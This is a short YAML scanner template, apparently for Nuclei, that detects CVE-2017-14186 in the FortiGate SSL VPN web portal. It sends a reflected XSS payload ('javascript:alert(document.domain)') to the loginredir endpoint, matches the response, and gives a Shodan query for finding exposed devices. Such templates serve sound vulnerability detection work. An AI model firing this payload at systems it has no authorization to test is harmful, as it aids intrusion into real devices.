id: CVE-2017-14186

info:
  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
  author: johnk3r
  severity: medium
  description: |
    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
  classification:
    cve-id: CVE-2017-14186
  metadata:
    verified: true
    shodan-query: port:10443 http.favicon.hash:945408572
  tags: cve,cve2017,fortigate,xss,fortinet

requests:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200